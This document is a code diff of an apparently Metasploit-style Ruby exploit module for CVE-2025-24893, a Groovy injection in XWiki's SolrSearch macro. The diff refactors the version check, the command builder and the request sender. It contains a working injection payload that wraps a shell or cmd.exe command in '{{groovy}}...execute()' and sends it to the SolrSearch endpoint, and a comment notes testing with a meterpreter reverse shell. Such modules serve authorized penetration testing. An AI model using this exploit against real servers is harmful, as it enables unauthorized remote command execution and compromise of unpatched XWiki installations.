@@ -20,7 +20,7 @@ def initialize(info = {})
2020 The vulnerability stems from the way this macro evaluates search parameters in Groovy, failing to sanitize or restrict malicious input.
2121
2222 This vulnerability affects XWiki Platform versions >= 5.3-milestone-2 and < 15.10.11, and versions >= 16.0.0-rc-1 and < 16.4.1.
23- Successful exploitation may result in remote code execution under the privileges
23+ Successful exploitation may result in the remote code execution under the privileges
2424 of the web server, potentially exposing sensitive data or disrupting survey operations.
2525
2626 An attacker can execute arbitrary system commands in the context of the user running the web server.
@@ -34,7 +34,7 @@ def initialize(info = {})
3434 [ 'CVE' , '2025-24893' ] ,
3535 [ 'URL' , 'https://github.com/xwiki/xwiki-platform/security/advisories/GHSA-rr6p-3pfg-562j' ]
3636 ] ,
37- 'Platform' => [ 'multi ' ] ,
37+ 'Platform' => [ 'unix' , 'linux' , 'win '] ,
3838 'Arch' => [ ARCH_CMD ] ,
3939 'Targets' => [
4040 [
@@ -54,7 +54,7 @@ def initialize(info = {})
5454 [
5555 'Windows Command' ,
5656 {
57- 'Platform' => [ 'windows ' ] ,
57+ 'Platform' => [ 'win ' ] ,
5858 'Arch' => ARCH_CMD ,
5959 'Type' => :win_cmd
6060 # Tested with cmd/windows/http/x64/meterpreter/reverse_tcp
@@ -90,46 +90,60 @@ def check
9090 )
9191 return CheckCode ::Unknown ( 'No response from target' ) unless res &.code == 200
9292
93- if res . body =~ %r{<div id="xwikiplatformversion">.*?XWiki.*?(\d +\. \d +\. \d +).*?</div>}m
94- version_match = Regexp . last_match ( 1 ) . to_s
95- version = Rex ::Version . new ( version_match )
96- print_status ( "Extracted version: #{ version } " )
93+ version_div = res . get_html_document . at ( 'div[id="xwikiplatformversion"]' )
94+ unless version_div
95+ fail_with ( Failure ::UnexpectedReply , "#{ peer } - Unable to find <div id=\" xwikiplatformversion\" > tag in response" )
96+ return CheckCode ::Safe ( 'Possibly not XWiki or incorrect path (version tag not found)' )
97+ end
9798
98- if version . between? ( Rex ::Version . new ( '5.3.0' ) , Rex ::Version . new ( '15.10.11' ) ) ||
99- version . between? ( Rex ::Version . new ( '16.0.0' ) , Rex ::Version . new ( '16.4.0' ) )
100- return CheckCode ::Appears
101- end
102- else
99+ version_match = version_div . text . match ( /XWiki.*?(\d +\. \d +\. \d +)/ )
100+ unless version_match
103101 print_error ( "#{ peer } - Unable to extract version number" )
102+ return CheckCode ::Detected ( 'XWiki detected, but version number missing or unrecognized' )
103+ end
104+
105+ version = Rex ::Version . new ( Regexp . last_match ( 1 ) . to_s )
106+ print_status ( "Extracted version: #{ version } " )
107+
108+ if version . between? ( Rex ::Version . new ( '5.3.0' ) , Rex ::Version . new ( '15.10.10' ) ) ||
109+ version . between? ( Rex ::Version . new ( '16.0.0' ) , Rex ::Version . new ( '16.4.0' ) )
110+ return CheckCode ::Appears ( "Detected version #{ version } , which is vulnerable" )
104111 end
105112
106- CheckCode ::Safe
113+ return CheckCode ::Safe ( "Version #{ version } appears safe" )
107114 end
108115
109116 def build_cmd
117+ print_status ( 'Building command for target...' )
118+
110119 if target [ 'Type' ] == :unix_cmd
111120 cmd_array = "'sh', '-c', '#{ payload . encoded } '"
112121 else
113- cmd_array = "'cmd.exe', '/B ', '/q', '/c', '#{ payload . encoded } '"
122+ cmd_array = "'cmd.exe', '/b ', '/q', '/c', '#{ payload . encoded } '"
114123 end
115124
116- Rex ::Text . uri_encode ( "}}}{{async async=false}}{{groovy}}[#{ cmd_array } ].execute(){{/groovy}}{{/async}}" )
125+ print_good ( 'Command successfully built for target' )
126+
127+ return "}}}{{async async=false}}{{groovy}}[#{ cmd_array } ].execute(){{/groovy}}{{/async}}"
117128 end
118129
119- def exploit
120- print_status ( 'Building command for target...' )
121- cmd = build_cmd
130+ def send_payload ( cmd )
131+ print_status ( 'Uploading payload...' )
122132
123- print_status ( 'Uploading malicious payload...' )
124- query_string = [
125- 'media=rss' ,
126- "text=#{ cmd } " ,
127- ] . join ( '&' )
133+ vars_get = {
134+ 'media' => 'rss' ,
135+ 'text' => cmd
136+ }
128137
129138 send_request_cgi ( {
130139 'uri' => normalize_uri ( target_uri . path , '/xwiki/bin/get/Main/SolrSearch' ) ,
131140 'method' => 'GET' ,
132- 'query ' => query_string
141+ 'vars_get ' => vars_get
133142 } )
134143 end
144+
145+ def exploit
146+ cmd = build_cmd
147+ send_payload ( cmd )
148+ end
135149end
0 commit comments